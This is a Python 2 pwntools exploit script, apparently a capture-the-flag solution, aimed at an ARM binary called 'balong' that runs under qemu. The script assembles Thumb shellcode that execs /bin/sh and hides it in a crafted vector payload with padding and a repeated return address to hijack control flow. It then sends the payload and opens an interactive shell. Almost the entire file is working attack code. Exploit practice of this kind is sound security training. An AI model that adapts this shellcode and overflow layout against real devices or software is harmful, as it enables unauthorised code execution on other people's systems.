from pwn import *
import pwnlib

DEBUG = int(sys.argv[1]);

if(DEBUG == 1):
    env = {"LD_PRELOAD":"./libc.so.6"};
    r = process(["qemu-arm-static", "./ld-linux-armhf.so.3", "./balong"], env=env);
elif(DEBUG == 2):
    env = {"LD_PRELOAD":"./libc.so.6"};
    r = process(["qemu-arm-static", "-g", "12345", "./ld-linux-armhf.so.3","./balong"], env=env);
    raw_input("Debug");


context.arch = "thumb"
shellcode = "";
shellcode += asm('eors r2, r2');
shellcode += asm('add r0, pc, 8');
shellcode += asm('push {r0, r2}');
shellcode += asm('mov r1, sp');
shellcode += asm('movs r7, 11');
shellcode += asm('svc 1');

def makeVector(vecid, length, vec):
    ans = "";
    ans = p8(vecid) + p8(length) + vec;
    return ans;

def fun0():
    vector = p8(2) + p8(4);
    return makeVector(0, 2, vector);

def fun2():
    binaryBuf = "00" + "00000011" + "1111" + "1101" + "0101" + "00";
    vector = translate(binaryBuf);
    return makeVector(2, 3, vector);

def translate(buf):
    length = len(buf);
    ans = '';
    for i in range(0, length/8):
        tmpBuf = buf[8*i: 8*i + 8];
        val = int(tmpBuf, 2);
        ans += chr(val);
    return ans;

def fun6():
    return makeVector(6, 1, "\x01");

def fun8():
    buf = "";
    buf += p8(0) + p8(3) + "\x10\x00\x40";

    x = 39;
    y = 44;
    buf += p8(15) +  p8(x); 

    tmpbuf = "\xd0" + shellcode + "/bin/sh\x00";
    tmpbuf = tmpbuf.ljust(x-2, 'A');
    tmpbuf += p8(3) + p8(y+4);

    buf += tmpbuf;
    
    buf += p8(2) + p8(y) + p32(0x220cd)* (y/4);

    buf += p8(1) + p8(0xfa-y)

    log.info("Buf length: %d" % len(buf));
    return makeVector(8, len(buf), buf);

def exploit():
    payload = "\x00";
    payload += fun0();
    payload += fun2();
    #payload += fun6();
    payload += fun8();
    r.send(payload);
    r.interactive();

exploit();
